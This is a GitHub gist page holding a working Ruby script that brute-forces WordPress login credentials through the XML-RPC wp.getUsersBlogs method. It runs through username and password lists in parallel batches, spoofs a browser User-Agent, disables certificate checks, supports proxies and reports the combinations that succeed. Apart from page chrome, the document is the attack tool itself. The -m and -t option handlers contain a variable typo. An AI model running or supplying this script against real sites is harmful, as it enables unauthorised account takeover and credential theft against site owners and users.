Skip to content

Instantly share code, notes, and snippets.

@erwanlr
Last active January 8, 2022 13:09
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save erwanlr/2ea10082148887ac1ae8 to your computer and use it in GitHub Desktop.
Save erwanlr/2ea10082148887ac1ae8 to your computer and use it in GitHub Desktop.
WordPress XML-RPC Password Brute Force
#!/usr/bin/env ruby
require 'typhoeus'
require 'nokogiri'
require 'optparse'
#
## WordPress API: https://codex.wordpress.org/XML-RPC_WordPress_API
## https://codex.wordpress.org/XML-RPC/system.listMethods
#
def request_body(method, params = [])
p_body = ''
params.each { |p| p_body << "<param><value><string>#{p}</string></value></param>" }
body = '<?xml version="1.0"?><methodCall>'
body << "<methodName>#{method}</methodName>"
body << "<params>#{p_body}</params>" unless p_body.length == 0
body << '</methodCall>'
end
@opts = {
verbose: false,
method: 'wp.getUsersBlogs', # If changed, the pattern at line 101 will need to be updated
threads: 16
}
opt_parser = OptionParser.new("Usage: ruby #{$PROGRAM_NAME} [options] xml-rpc-url") do |opts|
opts.on('-l', '--list', 'List all the available XML-RPC methods and exit') do
@opts[:list] = true
end
opts.on('-P', '--passwords PATH-TO-THE-PASSWORD-LIST', 'Passwords list to use') do |value|
@opts[:passwords] = File.open(value)
end
opts.on('-p', '--password PASSWORD', 'Password to use') do |value|
@opts[:passwords] = [value]
end
opts.on('-U', '--usernames PATH-TO-THE-USERNAMES-LIST', 'Usernames list to use') do |value|
@opts[:usernames] = File.readlines(value)
end
opts.on('-u', '--username USERNAME', 'Username to use') do |value|
@opts[:usernames] = [value]
end
opts.on('-m', '--method METHOD', 'The XML-RPC method to use during the brute force, default: wp.getUsersBlogs') do |value|
@ots[:method] = value
end
opts.on('-t', '--threads THREADS', 'The number of threads to use, default: 16') do |value|
@ots[:threads] = value.to_i
end
opts.on('--proxy PROXY', 'The proxy to use, e.g http://127.0.0.1:8080 / socks5://127.0.0.1:9090 etc') do |value|
@opts[:proxy] = value
end
opts.on('-v', '--verbose', 'Verbose mode') do
@opts[:verbose] = true
end
end
opt_parser.parse!
xml_rpc_url = ARGV[0]
unless xml_rpc_url
puts opt_parser
exit
end
fail 'At least a password AND a username, or the --list option must be supplied' unless @opts[:passwords] && @opts[:usernames] || @opts[:list]
request_params = {
headers: { 'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0' },
followlocation: true,
ssl_verifypeer: false,
ssl_verifyhost: 2,
method: :post,
proxy: @opts[:proxy]
}
unless Typhoeus.get(xml_rpc_url, request_params).body =~ /XML-RPC server accepts POST requests only/
fail 'The XML-RPC URL supplied seems to be disabled or a wrong URL has been given'
end
if @opts[:list]
res = Typhoeus.post(xml_rpc_url, request_params.merge(body: request_body('system.listMethods')))
doc = Nokogiri::XML.parse(res.body)
puts 'Methods available:'
puts
doc.search('methodResponse params param value array data value string').each do |s|
puts s.text
end
exit
end
hydra = Typhoeus::Hydra.new
queue_count = 0
puts 'Starting Brute Forcing'
@opts[:passwords].each do |password|
password.chomp!
@opts[:usernames].each do |username|
username.chomp!
request = Typhoeus::Request.new(
xml_rpc_url,
request_params.merge(body: request_body(@opts[:method], [username, password]))
)
request.on_complete do |response|
puts "Trying #{username} / #{password}" if @opts[:verbose]
if response.code == 200 && response.body =~ /blogName/
puts "Found: #{username} / #{password}"
@opts[:usernames].delete(username)
end
end
hydra.queue(request)
queue_count += 1
if queue_count >= @opts[:threads]
hydra.run
queue_count = 0
end
end
hydra.run
end
puts 'Done.'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment